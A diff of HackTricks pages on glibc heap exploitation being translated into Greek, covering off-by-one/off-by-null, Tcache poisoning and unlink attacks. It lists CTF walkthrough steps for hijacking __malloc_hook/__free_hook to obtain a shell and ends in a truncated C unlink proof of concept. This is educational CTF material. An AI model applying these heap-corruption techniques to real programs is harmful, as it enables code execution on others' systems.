- Δεσμεύστε τρία κομμάτια `A`, `B` και `C` (ας πούμε μεγέθη 0x20), και ένα άλλο για να αποτραπεί η συγχώνευση με το top-chunk.
|
||||
- Ελευθερώστε το `C` (εισαγμένο στη λίστα ελεύθερων κομματιών 0x20 Tcache).
|
||||
- Χρησιμοποιήστε το κομμάτι `A` για να υπερχειλίσετε το `B`. Εκμεταλλευτείτε το off-by-one για να τροποποιήσετε το πεδίο `size` του `B` από 0x21 σε 0x41.
|
||||
- Τώρα έχουμε το `B` να περιέχει το ελεύθερο κομμάτι `C`.
|
||||
- Ελευθερώστε το `B` και δεσμεύστε ένα κομμάτι 0x40 (θα τοποθετηθεί ξανά εδώ).
|
||||
- Μπορούμε να τροποποιήσουμε τον δείκτη `fd` από το `C`, το οποίο είναι ακόμα ελεύθερο (Tcache poisoning).
|
||||
|
||||
### Off-by-null attack
|
||||
### Επίθεση off-by-null
|
||||
|
||||
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
|
||||
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
|
||||
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
|
||||
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
|
||||
- 3 κομμάτια μνήμης (a, b, c) δεσμεύονται το ένα μετά το άλλο. Στη συνέχεια, το μεσαίο ελευθερώνεται. Το πρώτο περιέχει μια ευπάθεια off by one overflow και ο επιτιθέμενος την εκμεταλλεύεται με ένα 0x00 (αν το προηγούμενο byte ήταν 0x10 θα έκανε το μεσαίο κομμάτι να υποδεικνύει ότι είναι 0x10 μικρότερο από ό,τι πραγματικά είναι).
|
||||
- Στη συνέχεια, 2 ακόμη μικρότερα κομμάτια δεσμεύονται στο μεσαίο ελεύθερο κομμάτι (b), ωστόσο, καθώς το `b + b->size` δεν ενημερώνει ποτέ το κομμάτι c επειδή η διεύθυνση που δείχνει είναι μικρότερη από ό,τι θα έπρεπε.
|
||||
- Στη συνέχεια, τα b1 και c ελευθερώνονται. Καθώς το `c - c->prev_size` δείχνει ακόμα στο b (τώρα b1), και τα δύο συγχωνεύονται σε ένα κομμάτι. Ωστόσο, το b2 είναι ακόμα μέσα ανάμεσα στο b1 και το c.
|
||||
- Τέλος, εκτελείται μια νέα malloc που ανακτά αυτή την περιοχή μνήμης, η οποία στην πραγματικότητα θα περιέχει το b2, επιτρέποντας στον κάτοχο της νέας malloc να ελέγξει το περιεχόμενο του b2.
|
||||
|
||||
This image explains perfectly the attack:
|
||||
Αυτή η εικόνα εξηγεί τέλεια την επίθεση:
|
||||
|
||||
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
|
||||
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
||||
- Off-by-one because of `strlen` considering the next chunk's `size` field.
|
||||
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
|
||||
- Off-by-one λόγω του `strlen` που θεωρεί το πεδίο `size` του επόμενου κομματιού.
|
||||
- Χρησιμοποιείται Tcache, οπότε μια γενική επίθεση off-by-one λειτουργεί για να αποκτήσει μια αυθαίρετη εγγραφή με Tcache poisoning.
|
||||
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
|
||||
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
|
||||
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
|
||||
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
|
||||
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
|
||||
- Είναι δυνατόν να εκμεταλλευτείτε ένα off by one για να διαρρεύσετε μια διεύθυνση από την heap επειδή το byte 0x00 στο τέλος μιας συμβολοσειράς που επαναγράφεται από το επόμενο πεδίο.
|
||||
- Αυθαίρετη εγγραφή αποκτάται εκμεταλλευόμενοι την εγγραφή off by one για να κάνουμε τον δείκτη να δείχνει σε άλλη θέση όπου θα κατασκευαστεί μια ψεύτικη δομή με ψεύτικους δείκτες. Στη συνέχεια, είναι δυνατόν να ακολουθήσουμε τον δείκτη αυτής της δομής για να αποκτήσουμε αυθαίρετη εγγραφή.
|
||||
- Η διεύθυνση libc διαρρέει επειδή αν η heap επεκταθεί χρησιμοποιώντας mmap, η μνήμη που δεσμεύεται από το mmap έχει μια σταθερή απόσταση από τη libc.
|
||||
- Τέλος, η αυθαίρετη εγγραφή εκμεταλλεύεται για να γράψει στη διεύθυνση του \_\_free_hook με μια διεύθυνση one gadget.
|
||||
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
|
||||
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
|
||||
- In the writeup 5 initial chunks are created:
|
||||
- chunk1 (0x200)
|
||||
- chunk2 (0x50)
|
||||
- chunk5 (0x68)
|
||||
- chunk3 (0x1f8)
|
||||
- chunk4 (0xf0)
|
||||
- chunk defense (0x400) to avoid consolidating with top chunk
|
||||
- Then chunk 1, 5 and 3 are freed, so:
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
|
||||
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
|
||||
- ```python
|
||||
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Then, `0x200` bytes are allocated filling the original chunk 1
|
||||
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
|
||||
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
|
||||
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
|
||||
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
|
||||
- Υπάρχει μια ευπάθεια NULL off by one στη λειτουργία `getline` που διαβάζει γραμμές εισόδου χρήστη. Αυτή η λειτουργία χρησιμοποιείται για να διαβάσει το "κλειδί" του περιεχομένου και όχι το περιεχόμενο.
|
||||
- Στη γραφή 5 αρχικά δημιουργούνται κομμάτια:
|
||||
- chunk1 (0x200)
|
||||
- chunk2 (0x50)
|
||||
- chunk5 (0x68)
|
||||
- chunk3 (0x1f8)
|
||||
- chunk4 (0xf0)
|
||||
- chunk defense (0x400) για να αποφευχθεί η συγχώνευση με το top chunk
|
||||
- Στη συνέχεια, τα κομμάτια 1, 5 και 3 ελευθερώνονται, οπότε:
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Στη συνέχεια, εκμεταλλευόμενοι το chunk3 (0x1f8) η null off-by-one εκμεταλλεύεται γράφοντας το prev_size σε `0x4e0`.
|
||||
- Σημειώστε πώς τα μεγέθη των αρχικά δεσμευμένων κομματιών 1, 2, 5 και 3 συν τα headers 4 αυτών των κομματιών ισούνται με `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||
- Στη συνέχεια, το κομμάτι 4 ελευθερώνεται, δημιουργώντας ένα κομμάτι που καταναλώνει όλα τα κομμάτια μέχρι την αρχή:
|
||||
- ```python
|
||||
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Στη συνέχεια, δεσμεύονται `0x200` bytes γεμίζοντας το αρχικό κομμάτι 1.
|
||||
- Και άλλο 0x200 bytes δεσμεύονται και το chunk2 καταστρέφεται και επομένως δεν υπάρχει καμία διαρροή και αυτό δεν λειτουργεί; Ίσως αυτό δεν θα έπρεπε να γίνει.
|
||||
- Στη συνέχεια, δεσμεύει άλλο ένα κομμάτι με 0x58 "a"s (επανεγγράφοντας το chunk2 και φτάνοντας στο chunk5) και τροποποιεί το `fd` του γρήγορου bin chunk του chunk5 δείχνοντάς το στο `__malloc_hook`.
|
||||
- Στη συνέχεια, ένα κομμάτι 0x68 δεσμεύεται έτσι ώστε το ψεύτικο γρήγορο bin chunk στο `__malloc_hook` να είναι το επόμενο γρήγορο bin chunk.
|
||||
- Τέλος, ένα νέο γρήγορο bin chunk 0x68 δεσμεύεται και το `__malloc_hook` αντικαθίσταται με μια διεύθυνση `one_gadget`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,23 +1,23 @@
|
||||
# Overwriting a freed chunk
|
||||
# Επικαλύπτοντας ένα ελεύθερο κομμάτι
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
|
||||
Πολλές από τις προτεινόμενες τεχνικές εκμετάλλευσης σωρού χρειάζονται τη δυνατότητα να επικαλύπτουν δείκτες μέσα σε ελεύθερα κομμάτια. Ο στόχος αυτής της σελίδας είναι να συνοψίσει τις πιθανές ευπάθειες που θα μπορούσαν να παραχωρήσουν αυτή την πρόσβαση:
|
||||
|
||||
### Simple Use After Free
|
||||
### Απλή Χρήση Μετά την Ελευθέρωση
|
||||
|
||||
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
|
||||
Εάν είναι δυνατόν για τον επιτιθέμενο να **γράψει πληροφορίες σε ένα ελεύθερο κομμάτι**, θα μπορούσαν να το εκμεταλλευτούν αυτό για να επικαλύψουν τους απαραίτητους δείκτες.
|
||||
|
||||
### Double Free
|
||||
### Διπλή Ελευθέρωση
|
||||
|
||||
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
|
||||
Εάν ο επιτιθέμενος μπορεί να **`ελευθερώσει` δύο φορές το ίδιο κομμάτι** (ελευθερώνοντας άλλα κομμάτια ενδιάμεσα πιθανώς) και να το κάνει **2 φορές στην ίδια δεξαμενή**, θα ήταν δυνατό για τον χρήστη να **κατανεμηθεί το κομμάτι αργότερα**, **να γράψει τους απαραίτητους δείκτες** και στη συνέχεια **να το κατανεμηθεί ξανά** ενεργοποιώντας τις ενέργειες του κομματιού που κατανεμήθηκε (π.χ. επίθεση γρήγορης δεξαμενής, επίθεση tcache...)
|
||||
|
||||
### Heap Overflow
|
||||
### Υπερχείλιση Σωρού
|
||||
|
||||
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
|
||||
Ενδέχεται να είναι δυνατό να **υπερχυλίσει ένα κατανεμημένο κομμάτι που έχει δίπλα του ένα ελεύθερο κομμάτι** και να τροποποιήσει κάποιες κεφαλίδες/δείκτες του.
|
||||
|
||||
### Off-by-one overflow
|
||||
### Υπερχείλιση Off-by-one
|
||||
|
||||
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
|
||||
Σε αυτή την περίπτωση θα ήταν δυνατό να **τροποποιηθεί το μέγεθος** του επόμενου κομματιού στη μνήμη. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί αυτό για να **κάνει ένα κατανεμημένο κομμάτι να έχει μεγαλύτερο μέγεθος**, στη συνέχεια **`ελευθερώσει`** το, κάνοντάς το κομμάτι να **προστεθεί σε μια δεξαμενή διαφορετικού** μεγέθους (μεγαλύτερου), στη συνέχεια να κατανεμηθεί το **ψεύτικο μέγεθος**, και η επίθεση θα έχει πρόσβαση σε ένα **κομμάτι με μέγεθος μεγαλύτερο** από αυτό που είναι πραγματικά, **παρέχοντας έτσι μια κατάσταση επικαλυπτόμενων κομματιών**, η οποία είναι εκμεταλλεύσιμη με τον ίδιο τρόπο όπως μια **υπερχείλιση σωρού** (δείτε την προηγούμενη ενότητα).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,44 +4,44 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a Tcache bin check this page:
|
||||
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα Tcache bin, ελέγξτε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
First of all, note that the Tcache was introduced in Glibc version 2.26.
|
||||
Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση Glibc 2.26.
|
||||
|
||||
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
|
||||
Η **επίθεση Tcache** (γνωστή και ως **δηλητηρίαση Tcache**) που προτάθηκε στη [**σελίδα guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin, όπου ο στόχος είναι να αντικατασταθεί ο δείκτης στο επόμενο chunk μέσα σε ένα ελεύθερο chunk με μια αυθαίρετη διεύθυνση, ώστε αργότερα να είναι δυνατή η **κατανομή αυτής της συγκεκριμένης διεύθυνσης και πιθανώς η αντικατάσταση των δεικτών**.
|
||||
|
||||
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
|
||||
Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη).
|
||||
|
||||
### Tcache indexes attack
|
||||
|
||||
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
|
||||
Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **head chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **καταστήσουμε το head chunk κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση.
|
||||
|
||||
## Examples
|
||||
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
|
||||
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
|
||||
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
|
||||
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
|
||||
- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορούμε να την διαβάσουμε**.
|
||||
- **Tcache attack**: Το δυαδικό αρχείο είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **size header** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\
|
||||
Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**.
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
|
||||
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
|
||||
- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε ένα μικρό bin (όπως η διαρροή από το unsorted bin αλλά από το μικρό).
|
||||
- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμηθεί, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμηθεί ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμηθεί και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν ένα malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
|
||||
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
|
||||
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
|
||||
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
|
||||
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
|
||||
- Η κύρια ευπάθεια εδώ είναι η ικανότητα να `free` οποιαδήποτε διεύθυνση στο heap υποδεικνύοντας την απόστασή της.
|
||||
- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο tcache chunk (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100.
|
||||
- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**.
|
||||
- Στη συνέχεια, **κατανεμίζοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\
|
||||
Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμίζοντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
|
||||
- Same vulnerability as before with one extra restriction
|
||||
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
|
||||
- Η ίδια ευπάθεια όπως πριν με έναν επιπλέον περιορισμό.
|
||||
- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του tcache chunk ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμηθεί και να γραφτεί ένα one gadget πάνω του.
|
||||
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
- **Write After Free** to add a number to the `fd` pointer.
|
||||
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
|
||||
- **Glibc leak** through `stdout` (FSOP).
|
||||
- **Tcache poisoning** to get an arbitrary write primitive.
|
||||
- **Write After Free** για να προσθέσετε έναν αριθμό στον δείκτη `fd`.
|
||||
- Χρειάζεται πολύ **heap feng-shui** σε αυτή την πρόκληση. Η αναφορά δείχνει πώς **η διαχείριση της κεφαλής της λίστας ελεύθερων Tcache** είναι πολύ χρήσιμη.
|
||||
- **Glibc leak** μέσω `stdout` (FSOP).
|
||||
- **Tcache poisoning** για να αποκτήσετε μια αυθαίρετη γραφή primitive.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,14 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
|
||||
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν μερικοί **έλεγχοι** που καθιστούν την νέα έκδοση της επίθεσης πιο ενδιαφέρουσα, πιο περίπλοκη και **άχρηστη**.
|
||||
|
||||
### Code Example:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code</summary>
|
||||
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
